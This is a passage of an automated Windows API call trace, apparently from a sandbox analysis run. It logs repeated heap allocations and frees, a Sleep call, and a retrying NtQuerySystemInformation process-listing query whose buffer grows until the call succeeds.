Size=0x1a) returned 0x4313a150 [0193.553] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.554] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x4313a150 [0193.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x4313a150 [0193.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.557] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.558] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.558] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.559] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.559] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.560] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.560] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.562] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.562] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4313a150 [0193.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.563] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.563] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.564] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.564] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.565] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.565] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313a150 [0193.566] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.566] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1ce5d8b0 [0193.568] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d8b0) returned 1 [0193.568] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.569] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.569] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f97e0 [0193.570] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.570] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.571] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.571] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x4313a150 [0193.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.572] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.573] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4313a150 [0193.574] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.574] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f97e0 [0193.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.575] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.575] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x4313a150 [0193.576] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313a150 [0193.577] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.577] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.578] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.578] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313a150 [0193.579] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.579] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.580] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.580] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x431f97e0 [0193.581] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.581] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.660] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.663] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43074060) returned 1 [0193.664] Sleep (dwMilliseconds=0x64) [0193.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x1cf26600 [0193.769] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1cf26600, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x1cf26600, ResultLength=0x0) returned 0xc0000004 [0193.770] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1cf26600, Size=0x2048) returned 0x43034090 [0193.771] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43034090, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x43034090, ResultLength=0x0) returned 0xc0000004 [0193.771] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43034090, Size=0x306c) returned 0x42ef4090 [0193.772] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x42ef4090, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x42ef4090, ResultLength=0x0) returned 0xc0000004 [0193.772] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x42ef4090, Size=0x4090) returned 0x43074060 [0193.772] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.773] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x50b4) returned 0x43074060 [0193.773] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.774] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x60d8) returned 0x43074060 [0193.774] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.774] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x70fc) returned 0x43074060 [0193.775] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.775] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x8120) returned 0x43074060 [0193.775] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.776] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x9144) returned 0x43074060 [0193.776] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.776] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xa168) returned 0x43074060 [0193.777] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.777] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xb18c) returned 0x43074060 [0193.777] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.778] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xc1b0) returned 0x43074060 [0193.778] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.778] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xd1d4) returned 0x43074060 [0193.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.779] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xe1f8) returned 0x43074060 [0193.779] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.780] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0xf21c) returned 0x43074060 [0193.780] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.781] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x10240) returned 0x43074060 [0193.781] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.782] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x11264) returned 0x43074060 [0193.782] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.782] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x12288) returned 0x43074060 [0193.783] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.806] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x132ac) returned 0x43074060 [0193.807] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.808] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x142d0) returned 0x43074060 [0193.809] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.809] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x152f4) returned 0x43074060 [0193.810] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.810] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x16318) returned 0x43074060 [0193.811] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.811] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1733c) returned 0x43074060 [0193.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.812] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x18360) returned 0x43074060 [0193.812] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.813] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x19384) returned 0x43074060 [0193.813] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.814] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1a3a8) returned 0x43074060 [0193.814] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.815] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1b3cc) returned 0x43074060 [0193.815] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.815] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1c3f0) returned 0x43074060 [0193.816] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.816] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1d414) returned 0x43074060 [0193.817] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.817] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1e438) returned 0x43074060 [0193.818] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.818] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x1f45c) returned 0x43074060 [0193.818] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x1f45c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.819] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x20480) returned 0x43074060 [0193.819] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x20480, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.820] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x214a4) returned 0x43074060 [0193.820] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x214a4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.821] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x224c8) returned 0x43074060 [0193.821] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x224c8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.822] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x234ec) returned 0x43074060 [0193.822] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x234ec, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.822] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x24510) returned 0x43074060 [0193.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x24510, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.823] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x25534) returned 0x43074060 [0193.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x25534, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.824] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x26558) returned 0x43074060 [0193.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x26558, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.825] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2757c) returned 0x43074060 [0193.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2757c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.826] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x285a0) returned 0x43074060 [0193.826] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x285a0, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.827] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x295c4) returned 0x43074060 [0193.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x295c4, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.828] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2a5e8) returned 0x43074060 [0193.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2a5e8, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.829] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2b60c) returned 0x43074060 [0193.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2b60c, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.830] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2c630) returned 0x43074060 [0193.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2c630, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0xc0000004 [0193.831] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x43074060, Size=0x2d654) returned 0x43074060 [0193.832] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x43074060, Length=0x2d654, ResultLength=0x0 | out: SystemInformation=0x43074060, ResultLength=0x0) returned 0x0 [0193.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0193.834] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0193.834] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x431f97e0 [0193.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.835] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x431f97e0 [0193.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.837] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.838] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f97e0 [0193.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.845] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.845] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.860] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.863] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.863] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x431f97e0 [0193.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.865] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.865] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.866] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.867] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x4313a150 [0193.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x431f97e0 [0193.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431f97e0) returned 1 [0193.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x4313a150 [0193.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a150) returned 1 [0193.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x4313a150 